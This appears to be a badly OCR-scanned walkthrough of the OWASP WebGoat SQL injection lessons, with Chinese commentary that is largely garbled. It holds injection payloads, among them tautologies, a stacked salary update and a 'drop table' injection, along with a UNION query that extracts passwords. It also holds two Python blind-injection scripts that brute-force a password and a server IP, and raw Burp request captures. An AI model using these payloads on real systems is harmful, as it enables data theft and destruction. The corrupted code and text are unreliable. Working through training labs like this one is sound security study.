SQL Injection (intro)
0x02

select department from employees where first_name='Bob';

0x03

update employees set department='Sales' where first_name='Tobi';

0x04

alter table employees add column phone varchar(20);

0x05

grant alter table to UnauthorizeduUser

0x09

SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or 'l' =
lll

0x10
account:luser_id: 1 or true

HEadfE
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or true

0x11

employee name: 1tan: ' or true - -

0x12

employee name: '; update employees set salary=1000000 where Tast_name='smith';-- -tan:

MESEREEER
0x13

'; drop table access_log;-- -

SQL Injection (advanced)
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0x03

name: ' or true union select 1,'2','3"','4"','5' ,password, 7 from user_system_data

where user_name='dave'-- -

B3 fERYsql: SELECT * FROM user_data WHERE last_name = '' or true union select

1,'2','3"'",'4",'5" ;password, 7 from user_system_data where user_name='dave'-- -
&a15%|daveZR3 ApassWOrD

0x05

# -*- coding:utf-8 -*-

import requests
from string import printable
chars = printable

vul_url = "http://Tocalhost:8080/webGoat/sqlInjectionAdvanced/challenge”
datal =
"username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%
3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers = {

'Content-Type': 'application/x-www-form-urlencoded',

'X-Requested-with': 'XMLHttpRequest'
}
cookies = {

"JSESSIONID': 'AG6RZdLz-RNDOWVWPMBUzWFC-VjDxv99RjIw87fGz",

'JSESSIONID.75fbd0%e"': '7mclx9iei6jidxo2a3udkbzl’
}
i=0
result =
proxy={"http": "http://127.0.0.1:8181"}
while True:

i+=1
temp = result
for char in chars:
data = "username_reg=tom'+and substr(password, {0},1)="{1}'--+-
&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123".format(i,
char)
resp = requests.put(vul_url, data=data, headers=headers,
cookies=cookies, proxies=proxy)
# print(resp.text)
if 'already exists' in resp.text:
result += char

print(result)
if temp == result:
break

SQL Injection (mitigation)

0x05

SE0x06....
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0x06

try{
Connection ct = null;

ct=DriverManager.getConnection(DBURL,DBUSER,DBPW) ;

PreparedStatement ps=ct.prepareStatement("select * from users where
name=?");

ps.setString(1,"3");

ResultSet rs=ps.executeQuery();
} catch(Exception e){

System.out.println("123");
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WebGoatZKF3Spring Boot #352, FrLABILAFIF@PostMapping(). @GetMapping().
@RequestMappin()FEEERGERF XN ENMERIEK (FUphp mvcZZEgZ RRIEREH) |, FIansl
ANTREB, BAFIEK /hello B82RAT, spring bootsieBzNAAHello() 5k TR E

@RequestMapping(path="/hell0")
@ResponseBody
public String Hello() {

return "Hello world";

MET FEXNMIRR, FOMANEEAEMEERN 5i5/2£ 7, BYFEETRSHEMERIIANE
XERBIRIRZEIT: /webGoat/sqlInjectionMitigations/attackl0b , FRAEIIEIZEEBEEER
attack10b,ENZEIZ/H4: /webGoat/webgoat-lessons/sql-
injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/sqlInjectionLess
onlOb.java
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https://www.anquanke.com/post/id/186417

sql-injection ™ src  Bm mair

BRI FIERRAIED, XEFEENERIMANMIB ISR TR, ARFERENFRARILEHE R
NEZE2RECEKRPEN LML, X—RREZHE, B, REXEHIT
this.compileFromString()&&1, XMREHBLLAEEAVMEERIMERIRB T, BILURgEEd
RIBEERAXIL, XPMRFLMEHRARRT, EEA— I XHEHE, XAREBSEHTT, mEEE
BIIFHR 7 SqlExceptiont&iR, XERRBEEUBETLAEREW, ALA, Ii—Mry ... catch ... fBRE
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In this axsignment by bo perform an S0L injection through the ORDER BY field. Try to find the ip address of the wibgaat-ped. $erver, guessing the complete ip address might ake too long so we give you the L2 part:
h'a:c. '“;::'\'. ‘:.- i el of Ehi assigrement is HOT wulnerable for an SO injection
r
LIST OF SERVERS
=
Hostname 5 ([ MAC = fratur 2 Description =

P address webgoat-prd server

L

LiserversAxiEaeBiEz, BEENME /opt/WebGoat/webgoat-lessons/sql-

injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java


af://n88

EULEBAIIREE sqlInjectionMitigations/servers , {EEREIEITAIBLAD
&£ /sqlinjection/servers , FRLAFAIIEburpBIBEXRBUEN—TRiokT, ATLABEIREIRYjsonEE
T,

payload:

GET /WebGoat/SqlInjectionMitigations/servers?
column=case%20when%20(select%20substr(ip,1,1)="0"'%20from%20servers%20where%20hos
tname="webgoat-prd')%20then%20hostname%20e1se%20mac%20end HTTP/1.1
Host: localhost:8080

User-Agent: python-requests/2.22.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

X-Requested-with: XMLHttpRequest

Cookie: JSESSIONID=A6RZdLz-RNDOWVWpPMBUzZWFC-VjDxV99RjIW87fGz;
JSESSIONID.75fbd09e=7mc1x9iei6jidxo2a3udkbzl

EHERBEIE, 22— boolFiE, Flcase when end iIBEEEEARRHHERKIR, BITREIRIservers
MIRFERfRERR

Requast Response
\Barw | Parums | Boockars | Hec Fow | Hoochars | Himx
ET

SeubGoat/Sqlln] o< tiond tigations fserversteolumnscaset20hent20 (selecthisu
bstriip, 1, 1h= 1*'%20f romsa0serversh2owherethaohostname="webgeat - prd* M20then
athostrameh0e | sehainech20end HITP/L.1

Host: Llocalhost:8080

User- agent: python- requests/2. 20

Accept:Encoding: gzip, deflate

ACcEply v

Conngction: cloge

X-Requested-wWith: LWt tpRaquest

Cookie: JSESSIONID=ASRZALT - RMDOWVWDMELITWFC - v ] DXvEoR) SwE7f Gz ;

JSESSIONID. 7Sfbd00e=T0e Lati i)l drodaiutkbzl

HITP/1.1 200 0K

Cormection: close
X=XSS-Protection: 1; modesblock
X-Conent-Type- 0priens: nesndff
X=Frams-Optrons: DENY
Content-Type: application,)son
Date: Fri, 01 Wov 3019 OS:07:40 GMT

[
ad oz U,
“hostnane: :

"RpT 3 Tl9Q.188.3.F,
"mac® @ “EF:1Z:FEr34zaAnoCt,

“status® 1 *offline®,

*description® : "&Acceptance server®
Yo d

wide 1 otie,

*hestname® @ “webgoat-dev®,
"IpT I T1S92.15B.4.0",
TEECT  TAAIEE; L1:Z2iCCiDD",
"status® : "online",

*description® : “Development server®
ho A

LT ALY T

*hostrame® : *webgoat.pre:prod®,

apt 1 T192.168.6.4%,
"mac* @ “EFIl2IFEIZAtAAICCE,

ssratuss 1 cofflines,

*description® : "Pre-production server®
LA

agde 3 e3e

“hostrame® @ “webgoat-Tat®,
"ip* z "192.15B8.2.1%,
mac*  YEE:FE; 33488000,
*status® : "online",

"description® | "Test server®
1



Request Response

| B, | Pareems | Hoscars | Haxx | Faw | Headers | Hex

GET 0 HITR/L.1 200 OK

feebGoat /SqlInjectionti tigations sservers? column=casen20vhern20( selectnzosu [ Connection: ¢lose

batrlip, 1, 1)="0%20f rom20server shdiwhereh20hoa tname=" webgoat - prd* A20then X- X85-Protection: 1; mode=block
20hos tnanet20e Leeh20mack2tend WITR/1.1 ¥-Content-Type-Options: nosnlff
Host: localhost: 8080 ¥-Frams-Options: DENY
User-&gent: pythan- requests /2. 22.0 Content-Type: applicaticn/)son
dccept-Encoding: gzip, deflate Date: Fri, 01 Nov 2009 OD:30:04 GMT
Acceptiy /%

Connection: close [

X=Requested:wWrth: MHttpReguest =3d® = =i=,

Cookie: JSESSIONID=ASRIALT - RMDOWWRMELIDWIS - v ] Do iR Sl 7 i Gz ; “hostname® : "wobgoat-dev®,
JSESSIOMID. T5f bd0Se=Tme 1nSl o151 duo2aZukbzl "ipt o lS2.188.4.0°,

"mact : "ANCBS:1)1:22:0C:00°,
“status® : "online=,
*description® : *Developmént server®

side § oe3e,

“hostmame® : "webgoat-Tst®,
"ip® @ "162.168.2.1°,

"mac® [ "EE:FFIII4dARICDC,
*status® ! "enline®,
*description® : *Test server®
{

mide ¢ v3,

*hostrname® : "webgoat-acc®,

ip® oz "192.188.3.3°,

"mact @ "EFIlZ:FEI34cAAICC",
sstatus® : “offline",
*description® : *Acceplance Server®

iz mam,

“hostrame® : “webgoat-pre-prod®,

ip® & "1G2.168.6.4%,

"mact | "EFI12iFEI3d4IARICCT,

*atatus® : *offline®,

*description® : *Pre-production server®
)

RIE LIRS, RS

# -*- coding:utf-8 -*-

import requests
from string import digits
chars = digits+"."

datal =
"username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid®%
3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers = {
'X-Requested-with': 'XMLHttpRequest'
3
cookies = {
"JSESSIONID': 'AG6RZdLz-RNDOWVWPMBUzwWFC-VjDxVv99RjIw87fGz",
'JSESSIONID.75fbd09%e"': '7mclx9iei6jidxo2a3udkbzl’
3
i=0
result =
proxy={"http": "http://127.0.0.1:8181"}
while True:
i+=1
temp = result
for char in chars:
vul_url =
"http://Tocalhost:8080/webGoat/SqlInjectionMitigations/servers?
column=case%20when%20(seTect%20substr(ip,
{0},D="{1}"'%20from%20servers%20where%20hostname="webgoat-
prd')%20then%20hostname%20else%20mac%20end" . format(i, char)
resp = requests.get(vul_url, headers=headers, cookies=cookies,
proxies=proxy)
# print(resp.json())
if 'webgoat-acc' in resp.json()[0]['hostname']:
result += char
print(result)



if temp == result:
break

¥ AREBENEAIEFERord(),if(1,1,1)B0REEERcase when() then ... else ... endiEf), A
BIREERIRBFIAENsqiEE, —FFRRATEUEEARERS, ERREEEGIBEET

order by IREEFANSE: order byiF A
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